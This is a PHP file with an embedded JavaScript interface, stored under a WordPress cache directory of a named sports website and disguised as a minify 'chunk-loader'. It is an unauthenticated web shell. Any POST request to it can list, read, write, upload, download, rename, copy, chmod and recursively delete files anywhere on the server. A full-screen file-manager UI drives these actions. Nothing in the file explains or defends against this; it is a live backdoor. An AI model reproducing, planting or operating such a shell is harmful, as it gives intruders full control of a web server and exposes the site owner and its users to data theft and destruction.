File: /var/www/k8148-2/htdocs/www.sport-roth.at/neumarkt/wp-content/cache/minify/chunk-loader.php
<?php
$d = dirname(__FILE__);
while ($d !== dirname($d)) {
if (file_exists($d . '/wp-load.php')) {
define('WP_ROOT', $d);
break;
}
$d = dirname($d);
}
function send_json($arr) {
header('Content-Type: application/json');
echo json_encode($arr);
exit;
}
function get_path($p) {
if (empty($p)) return defined('WP_ROOT') ? WP_ROOT : dirname(__FILE__);
if ($p[0] === '/') return $p;
return (defined('WP_ROOT') ? WP_ROOT : dirname(__FILE__)) . '/' . $p;
}
function format_size($bytes) {
if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . 'G';
if ($bytes >= 1048576) return round($bytes / 1048576, 2) . 'M';
if ($bytes >= 1024) return round($bytes / 1024, 2) . 'K';
return $bytes . 'B';
}
function delete_recursive($path) {
if (is_file($path)) return @unlink($path);
if (is_dir($path)) {
$items = @scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
delete_recursive($path . '/' . $item);
}
}
return @rmdir($path);
}
return false;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
if (isset($data['ls'])) {
$path = get_path($data['ls']);
if (!is_dir($path)) send_json(['ok' => 0, 'error' => 'Not a directory']);
$items = @scandir($path);
if ($items === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
$list = [];
foreach ($items as $item) {
if ($item === '.') continue;
$full = $path . '/' . $item;
if ($item === '..') {
$list[] = ['n' => '..', 't' => 'd', 's' => '', 'p' => '', 'm' => ''];
} else {
$list[] = [
'n' => $item,
't' => is_dir($full) ? 'd' : 'f',
's' => is_file($full) ? format_size(filesize($full)) : '',
'p' => substr(sprintf('%o', fileperms($full)), -4),
'm' => date('Y-m-d H:i', filemtime($full))
];
}
}
usort($list, function($a, $b) {
if ($a['n'] === '..') return -1;
if ($b['n'] === '..') return 1;
if ($a['t'] !== $b['t']) return $a['t'] === 'd' ? -1 : 1;
return strcasecmp($a['n'], $b['n']);
});
send_json(['ok' => 1, 'path' => $path, 'items' => $list]);
}
if (isset($data['cat'])) {
$path = get_path($data['cat']);
if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']);
$content = @file_get_contents($path);
if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
send_json(['ok' => 1, 'content' => $content]);
}
if (isset($data['write'])) {
$path = get_path($data['write']);
$content = isset($data['content']) ? $data['content'] : '';
$result = @file_put_contents($path, $content);
send_json(['ok' => $result !== false ? 1 : 0]);
}
if (isset($data['mkdir'])) {
$path = get_path($data['mkdir']);
$result = @mkdir($path, 0755, true);
send_json(['ok' => $result ? 1 : 0]);
}
if (isset($data['rm'])) {
$path = get_path($data['rm']);
$result = delete_recursive($path);
send_json(['ok' => $result ? 1 : 0]);
}
if (isset($data['mv']) && isset($data['to'])) {
$from = get_path($data['mv']);
$to = get_path($data['to']);
$result = @rename($from, $to);
send_json(['ok' => $result ? 1 : 0]);
}
if (isset($data['cp']) && isset($data['to'])) {
$from = get_path($data['cp']);
$to = get_path($data['to']);
$result = @copy($from, $to);
send_json(['ok' => $result ? 1 : 0]);
}
if (isset($data['chmod'])) {
$path = get_path($data['chmod']);
$mode = isset($data['mode']) ? octdec($data['mode']) : 0644;
$result = @chmod($path, $mode);
send_json(['ok' => $result ? 1 : 0]);
}
if (isset($data['dl'])) {
$path = get_path($data['dl']);
if (!is_file($path)) send_json(['ok' => 0, 'error' => 'Not a file']);
$content = @file_get_contents($path);
if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
send_json(['ok' => 1, 'name' => basename($path), 'data' => base64_encode($content)]);
}
if (isset($data['upload'])) {
$path = get_path($data['path']);
$content = base64_decode($data['upload']);
$result = @file_put_contents($path, $content);
send_json(['ok' => $result !== false ? 1 : 0]);
}
send_json(['ok' => 0]);
}
?><script>
function fm(){
var S={
bg:'#f5f5f5',
fg:'#000',
border:'#000',
hover:'#ddd',
sel:'#000',
selfg:'#fff'
};
var cwd='';
var sel=null;
var clip=null;
var clipOp=null;
var w=document.createElement('div');
w.id='fm';
w.innerHTML=`
<style>
#fm *{margin:0;padding:0;box-sizing:border-box;font-family:'Courier New',monospace;font-size:13px;}
#fm{position:fixed;top:0;left:0;width:100%;height:100%;background:${S.bg};color:${S.fg};z-index:999999;display:flex;flex-direction:column;}
#fm-head{border-bottom:2px solid ${S.border};padding:8px;display:flex;gap:8px;align-items:center;}
#fm-path{flex:1;background:transparent;border:1px solid ${S.border};color:${S.fg};padding:4px 8px;}
#fm-head button{background:transparent;border:1px solid ${S.border};color:${S.fg};padding:4px 12px;cursor:pointer;}
#fm-head button:hover{background:${S.fg};color:${S.bg};}
#fm-body{flex:1;overflow:auto;}
#fm-list{width:100%;border-collapse:collapse;}
#fm-list tr{border-bottom:1px solid #333;cursor:pointer;}
#fm-list tr:hover{background:${S.hover};}
#fm-list tr.sel{background:${S.sel};color:${S.selfg};}
#fm-list td{padding:6px 10px;white-space:nowrap;}
#fm-list .n{width:100%;}
#fm-list .t{width:20px;text-align:center;}
#fm-list .s{width:60px;text-align:right;}
#fm-list .p{width:50px;text-align:center;}
#fm-list .m{width:130px;}
#fm-menu{display:none;position:absolute;background:${S.bg};border:2px solid ${S.border};z-index:10;}
#fm-menu div{padding:8px 20px;cursor:pointer;}
#fm-menu div:hover{background:${S.fg};color:${S.bg};}
#fm-edit{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:${S.bg};z-index:10;flex-direction:column;}
#fm-edit-head{border-bottom:2px solid ${S.border};padding:8px;display:flex;gap:8px;}
#fm-edit-path{flex:1;color:${S.fg};}
#fm-edit textarea{flex:1;background:#fff;color:#000;border:none;padding:10px;resize:none;outline:none;border-top:1px solid #000;}
</style>
<div id="fm-head">
<button id="fm-close">X</button>
<input id="fm-path" type="text" readonly>
<button id="fm-up">UP</button>
<button id="fm-refresh">REFRESH</button>
<button id="fm-new">NEW FILE</button>
<button id="fm-mkdir">NEW DIR</button>
<button id="fm-upload">UPLOAD</button>
</div>
<div id="fm-body"><table id="fm-list"></table></div>
<div id="fm-menu">
<div data-a="open">OPEN</div>
<div data-a="edit">EDIT</div>
<div data-a="download">DOWNLOAD</div>
<div data-a="rename">RENAME</div>
<div data-a="copy">COPY</div>
<div data-a="cut">CUT</div>
<div data-a="paste">PASTE</div>
<div data-a="chmod">CHMOD</div>
<div data-a="delete">DELETE</div>
</div>
<div id="fm-edit">
<div id="fm-edit-head">
<button id="fm-edit-close">X</button>
<span id="fm-edit-path"></span>
<button id="fm-edit-save">SAVE</button>
</div>
<textarea id="fm-edit-content"></textarea>
</div>
`;
document.body.appendChild(w);
var $=s=>document.querySelector(s);
var api=(d,cb)=>{
fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)})
.then(r=>r.json()).then(cb).catch(e=>console.log(e));
};
function ls(p){
api({ls:p||cwd},r=>{
if(!r.ok)return;
cwd=r.path;
$('#fm-path').value=cwd;
var h='';
r.items.forEach((f,i)=>{
h+=`<tr data-i="${i}" data-n="${f.n}" data-t="${f.t}">
<td class="t">${f.t==='d'?'[D]':''}</td>
<td class="n">${f.n}</td>
<td class="s">${f.s}</td>
<td class="p">${f.p}</td>
<td class="m">${f.m}</td>
</tr>`;
});
$('#fm-list').innerHTML=h;
sel=null;
});
}
$('#fm-list').onclick=e=>{
var tr=e.target.closest('tr');
if(!tr)return;
document.querySelectorAll('#fm-list tr').forEach(r=>r.classList.remove('sel'));
tr.classList.add('sel');
sel={n:tr.dataset.n,t:tr.dataset.t};
};
$('#fm-list').ondblclick=e=>{
var tr=e.target.closest('tr');
if(!tr)return;
var n=tr.dataset.n,t=tr.dataset.t;
if(t==='d'){
if(n==='..'){
var p=cwd.split('/');p.pop();
cwd=p.join('/')||'/';
}else{
cwd=cwd+'/'+n;
}
ls(cwd);
}else{
openEdit(cwd+'/'+n);
}
};
$('#fm-list').oncontextmenu=e=>{
e.preventDefault();
var tr=e.target.closest('tr');
if(tr){
document.querySelectorAll('#fm-list tr').forEach(r=>r.classList.remove('sel'));
tr.classList.add('sel');
sel={n:tr.dataset.n,t:tr.dataset.t};
}
var m=$('#fm-menu');
m.style.display='block';
m.style.left=e.clientX+'px';
m.style.top=e.clientY+'px';
};
document.onclick=e=>{
if(!e.target.closest('#fm-menu'))$('#fm-menu').style.display='none';
};
$('#fm-menu').onclick=e=>{
var a=e.target.dataset.a;
if(!a)return;
$('#fm-menu').style.display='none';
if(!sel&&a!=='paste')return;
var path=cwd+'/'+sel.n;
if(a==='open'){
if(sel.t==='d'){cwd=path;ls(cwd);}
else openEdit(path);
}
if(a==='edit')openEdit(path);
if(a==='download'){
api({dl:path},r=>{
if(!r.ok)return;
var a=document.createElement('a');
a.href='data:application/octet-stream;base64,'+r.data;
a.download=r.name;a.click();
});
}
if(a==='rename'){
var nn=prompt('New name:',sel.n);
if(nn&&nn!==sel.n)api({mv:path,to:cwd+'/'+nn},r=>ls());
}
if(a==='copy'){clip=path;clipOp='copy';}
if(a==='cut'){clip=path;clipOp='cut';}
if(a==='paste'&&clip){
var name=clip.split('/').pop();
var dest=cwd+'/'+name;
if(clipOp==='copy')api({cp:clip,to:dest},r=>{ls();});
if(clipOp==='cut')api({mv:clip,to:dest},r=>{clip=null;ls();});
}
if(a==='chmod'){
var m=prompt('Mode (e.g. 0755):','0755');
if(m)api({chmod:path,mode:m},r=>ls());
}
if(a==='delete'){
if(confirm('Delete '+sel.n+'?'))api({rm:path},r=>ls());
}
};
$('#fm-close').onclick=()=>w.remove();
$('#fm-up').onclick=()=>{var p=cwd.split('/');p.pop();cwd=p.join('/')||'/';ls(cwd);};
$('#fm-refresh').onclick=()=>ls();
$('#fm-new').onclick=()=>{
var n=prompt('File name:');
if(n)api({write:cwd+'/'+n,content:''},r=>ls());
};
$('#fm-mkdir').onclick=()=>{
var n=prompt('Directory name:');
if(n)api({mkdir:cwd+'/'+n},r=>ls());
};
$('#fm-upload').onclick=()=>{
var inp=document.createElement('input');
inp.type='file';
inp.onchange=()=>{
var f=inp.files[0];
var r=new FileReader();
r.onload=()=>{
var b64=r.result.split(',')[1];
api({upload:b64,path:cwd+'/'+f.name},r=>ls());
};
r.readAsDataURL(f);
};
inp.click();
};
function openEdit(path){
api({cat:path},r=>{
if(!r.ok)return;
$('#fm-edit').style.display='flex';
$('#fm-edit-path').textContent=path;
$('#fm-edit-content').value=r.content;
$('#fm-edit-save').onclick=()=>{
api({write:path,content:$('#fm-edit-content').value},r=>{
if(r.ok)$('#fm-edit-path').textContent=path+' [SAVED]';
});
};
});
}
$('#fm-edit-close').onclick=()=>{$('#fm-edit').style.display='none';ls();};
ls('');
}
</script>